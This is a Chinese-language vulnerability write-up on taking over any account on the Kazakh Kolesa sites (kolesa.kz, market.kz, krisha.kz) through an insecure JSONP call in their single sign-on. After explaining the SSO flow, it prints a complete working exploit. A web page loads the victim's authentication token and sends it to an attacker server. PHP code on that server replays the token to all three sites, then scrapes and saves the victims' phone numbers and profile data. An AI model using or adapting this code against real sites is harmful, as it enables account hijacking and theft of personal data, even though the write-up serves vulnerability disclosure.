这篇文章的内容是,我怎样使用单点登录(Single Sign-On),实现了接管Kolesa网站的任意帐户。
大概的漏洞逻辑:不安全的JSONP调用会破坏整个SSO机制的安全性。
JSONP是一种将JSON数据发送到其他域的方法。
JSONP请求/响应示例:
单点登录(Single Sign-On)
信息收集后发现,Kolesa网站使用了SSO,使用SSO的网站是:
(1)https://market.kz
(2)https://krisha.kz
(3)https://kolesa.kz
它们的身份验证服务器都为:https://id.kolesa.kz
SSO工作流程图,如下:
在这个身份验证模型中,由于一个域不能为其他域设置authentication cookie
,所以authentication token
应在 authentication server 和 其他域 之间传输。
考虑到SSO工作流程图中的橙色框,每个站点均应在验证之后保存一个authentication token
cookie。
此外,authentication server也保存了它的cookie,因此在几个HTTP请求之后,我找到了每个Kolesa网站,和它域下的那个“身份验证cookie”的名称,对应关系如下图:
JSONP调用用于进一步的身份验证。
如果用户已经登录了这三个网站中的任何一个,则将进行JSONP调用以对该用户进行身份验证。
为什么这里使用了JSONP?
因为Kolesa网站认为,执行此操作更简单,可以避免进行CORS设置。
其实由于域的来源不同,Kolesa网站应该实施CORS(Cross Origin Resource Sharing)。
但他们决定使用JSONP。
流程图:
关键是,例如,一旦某个用户登录(3)kosela.kz,他们将拥有:
一个ccid
cookie [id.kolesa.kz域]
一个用于传输身份验证的authentication token
cookie [kosela.kz域]
一个ssid
cookie [kosela.kz域]
此后,如果用户要登录网站c,只需单击一下,因为 [id.kolesa.kz域] 有authentication
cookie,因此会立即生成authentication token
,并且用户将在网站c上拥有对应的authentication cookie
。
根据上面的流程图,【阶段4】表示了:
如何进行JSONP调用.
如何将authentication token转换为某个域名下的authentication cookie.
JSONP调用的原因:
如果用户已经通过进行了身份验证id.kolesa.kz,则将收到以下响应:
HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Mon, 19 Aug 2019 16:43:26 GMT
Content-Type: text/javascript;charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Backend-Server: auth-be3.alaps.kz.prod.bash.kz
X-Bug-Bounty: Please report bugs and vulnerabilities to [email protected]
Content-Security-Policy: frame-ancestors 'self' http://webvisor.com https://webvisor.com
Strict-Transport-Security: max-age=31536000
Content-Length: 627
window.xdm = {
sess: {
is_authenticated: 1,
token: 'xG3ROFWcb7pnXSnMr8MkaBvH01pLlCHqn0sPt0PVL6BBWYdQPdvA31tBi6dLB5njv5jhMW3y/cGBMRB9LC/69zv867wweaDhkxX6arGVzYDy2q+J52nkOQJ+62rR9wLPYJGyEpNGWeOBSp12vugXZUPq2RA6FMptbNkGQpJFjAclXSzduj7wJJgAUONMj3mkkElM1nWmIllrl5zDEz6s7077E4ibx//BvnfZ9AIC/9b2PB+QzVKOnSzzcr9wSXqta9TEDHvjopqbUd4UE2xSMRSj/zxPQlCba5632hcIXnzZB3A8fvahvf2Hm5ssuC+cwuKU8pAdE/qcGQSJKdhpYXxntGkQiLdEAliyCq+fahS4itb6HlFH/+H20RsZA+cjyaF7ntnW5tYY31vxJXovrR3oinaj9YDSzoCZYMDYPJMdk+HuZhRuxxEl8abuNlGD0aCt2GCPV7GY0J9Ma7AcPw=='
}
};
(function ($) {
"use strict";
$.xdm = window.xdm;
}(jQuery));
可以看出,存在一个名为sess
的对象,其中包含两个属性:is_authenticated
和token
。
该对象负责传输身份验证。此时,用户拥有当前网站的authentication token
,但没有authentication cookie
,因此进行了第二次调用:
JS代码:
问题是:
任意origin可以提取出authentication token
!
当然,这是因为JSONP调用绕过了Same Origin Policy。
利用该漏洞,只需单击一下即可接管帐户:)
场景很简单:
1.设置一个html页面,作用是代表任何用户调用JSONP
2.欺骗经过身份验证的用户访问我们的恶意网站
3.用户发送authentication token
到我们的网站
4.用别的用户的身份登录并做坏事
漏洞利用代码(客户端+服务器端调用):
<?php $victim_ip_address = ""; $output=""; $phone_nums=""; // Function to send HTTP GET requests, returning [contents,location,cookies]. function http_get($URL, $cookies = "", $xhr=false) { global $victim_ip_address; $xhr_header=""; if ($xhr == true) { $xhr_header="X-Requested-With: XMLHttpRequest\r\n"; } // Set HTTP headers, add X-Forwarded-For header to spoof IP address... $context = stream_context_create( array( "http" => array( 'follow_location' => false, "method" => "GET", "header" => "X-Forwarded-For:$victim_ip_address\r\nCookie: $cookies\r\n$xhr_header" ) ) ); // Process HTTP response headers... $return_value["contents"] = file_get_contents($URL, false, $context); array_shift($http_response_header); $resp_cookies = []; $return_value["location"] = $URL; foreach ($http_response_header as $header) { $header_pair = explode(": ", $header); $header_name = $header_pair[0]; $header_value = $header_pair[1]; if ($header_name == "Location") { $return_value["location"] = $header_value; } else if ($header_name == "Set-Cookie") { $cookie_name = explode("=", $header_value)[0]; $cookie_value = explode(";", explode("=", $header_value)[1])[0]; $resp_cookies[$cookie_name] = $cookie_value; } } $return_value["cookies"] = $resp_cookies; return $return_value; } // Function to extract sensitive information. function ExtractContents($resp) { global $output; $cookies = ""; $PanelURL = ""; global $phone_nums; $PageToExtractPhoneNum=""; $phone_num_regex=""; $xhr=false; $name = ""; foreach ($resp["cookies"] as $cookie_name => $cookie_value) { //Check cookies... if ($cookie_name == "ssid") { $name = "kolesa.kz"; $PanelURL = "https://kolesa.kz/my/"; $PageToExtractPhoneNum="https://kolesa.kz/my/ajax-settings-personal/"; $phone_num_regex='/phones="\[(.*)\]"/'; } else if ($cookie_name == "mtsid") { $name = "market.kz"; $PanelURL = "https://market.kz/cabinet/"; $PageToExtractPhoneNum="https://market.kz/ajax/getVerifiedPhones.json?ignoreSession=true"; $phone_num_regex='/"phones":(.*)\]/'; } else if ($cookie_name == "krssid") { $name = "krisha.kz"; $PanelURL = "https://krisha.kz/my/"; $PageToExtractPhoneNum="https://krisha.kz/my/ajax-get-form/?userType=1"; $phone_num_regex='/"phones" :list="\[\{(.*)\}\]"/'; $xhr=true; } $cookies .= $cookie_name . "=" . $cookie_value . ";"; } if($phone_nums==""){ $contents = http_get($PageToExtractPhoneNum, $cookies,$xhr)["contents"]; // Read pages contating phone numbers and extract them. preg_match($phone_num_regex, $contents, $phone_num_matches); // Extract phone numbers. if (sizeof($phone_num_matches) != 0){ $phone_nums=str_replace(['"'," ","(",")",'"phones":[]','phones="[]"'],'',$phone_num_matches[0]); // Remove empty results and bad strings. if ( $phone_nums != "") { $output .= "User phone numbers:\n$phone_nums\n\n"; } } } $output .= str_repeat("=", 10) . " $name " . str_repeat("=", 10)."\n\n"; $output .= "Authentication cookie: $cookies\n\n"; $contents = http_get($PanelURL, $cookies)["contents"]; // Set stolen cookies to access victim account, read user page contents. preg_match('/window\.digitalData =.*\};/', $contents, $user_info_matches);//Extract sensitive information matching Regex. if( sizeof($user_info_matches)!=0 ){ $user_info = $user_info_matches[0]; $output .= "User information:\n$user_info\n\n"; } } // Main Function function Main() { global $victim_ip_address; global $phone_nums; global $output; $victim_ip_address = $_SERVER['REMOTE_ADDR']; if (isset($_GET['token'])) { // Authentication cookie is sent by XMLHTTPRequest. $token = urlencode($_GET['token']); // Send athentication token to the target websites for validation. $market_resp = http_get("https://market.kz/user/ajax-xdm-auth/?token=" . $token); $kolesa_resp = http_get("https://kolesa.kz/user/ajax-xdm-auth/?token=" . $token); $krisha_resp = http_get("https://krisha.kz/user/ajax-xdm-auth/?token=" . $token); // ExtractContents() function will processes responses for sensitive information. // Token is valid, load and store sensitive information of the victim. $success1=($market_resp["location"] == "/user/ajax-xdm-auth/"); $success2=($kolesa_resp["location"] == "/user/ajax-xdm-auth/"); $success3=($krisha_resp["location"] == "/user/ajax-xdm-auth/"); $success=($success1 && $success2 && $success3); if ($success) { $now = time(); $output_dir = "./$victim_ip_address/$now/"; // Create a directory based on IP address of the victim and current timestamp. mkdir($output_dir, 0755, true); ExtractContents($market_resp); ExtractContents($kolesa_resp); // Load and extract sensitive information. ExtractContents($krisha_resp); file_put_contents("$output_dir/victim_info.txt",$output);//Save all information extracted to the output file. die("success"); } else { // Token isn't valid, redirected to the login page. die("failure"); } } } Main(); ?> <html> <body onload="Main()"> <script> var tries_num = 0; var max_tries = 30; // Try 30 times to avoid failure. window.jQuery = window; // As JQuery script isn't loaded, we redefine it to avoid errors. function Main() { // Main function. Create_JSONP(); } function Check(xdm) { // Function handling "xdm" object loaded by JSONP. if (tries_num == 1) { document.body.innerText += "+ JSONP object was loaded successfully.\n\n" } var is_authenticated = xdm["sess"]["is_authenticated"]; // Extract user user authentication status from xdm object. var token = xdm["sess"]["token"]; // Extract Authentication token from xdm object. if (is_authenticated == 1) { // User is authenticated. if (tries_num == 1) { document.body.innerText += "+ You are logged in.\n\n" } document.body.innerText += "* Sending authentication token to the server...\n" XHR_Request("token=" + encodeURIComponent(token), Check_Server_Response) // Send authentication token to the server. } else { document.body.innerText += "- You are not logged in!\n" document.body.innerText += "- Please login to one of your accounts on market.kz, kolesa.kz or krisha.kz and try again.\n" } } function XHR_Request(data, callback) { // Function to send authentication tokens to the server. var xhr = new XMLHttpRequest(); xhr.open('GET', "?" + data, true); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { callback(xhr.responseText.trim()) } } xhr.send(); } function Check_Server_Response(response) { // Function handling responses from the server. if (response == "success") { // Server authenticated to the victim accounts successfully, token is valid. document.body.innerText += "\n+ Success! Token is valid for authentication! (" + tries_num + "/" + max_tries + ")\n" document.body.innerText += "+ Now an attacker can access your accounts on market.kz, kolesa.kz and krisha.kz!\n" document.body.innerText += "+ Please check files created on the server for more information.\n\n" } else { // Server failed to access victim accounts. document.body.innerText += "- Token was invalid.Trying again...(" + tries_num + "/" + max_tries + ")\n" Create_JSONP() } } function Create_JSONP() { // Function to create and load JSONP objects. if (tries_num == max_tries) { document.body.innerText += "\nFailure: Could not find any valid token for authentication!"; return; } else if (tries_num == 0) { document.body.innerText = "* Loading JSONP object from https://id.kolesa.kz/authToken.js...\n\n" } tries_num += 1 // Same-Origin Policy allows current origin to load and handle cross-origin JSONP objects. // Create and append JSONP object loading https://id.kolesa.kz/authToken.js to the document. var JSONP = document.createElement('script'); JSONP.src = "https://id.kolesa.kz/authToken.js" // As "xdm" object is loaded by JSONP, call Check() function to check it. JSONP.onload = function() { Check(window.xdm) } document.head.append(JSONP); } </script> </body> </html>
不安全的JSONP调用会破坏整个SSO机制的安全性,可实现任意账户接管。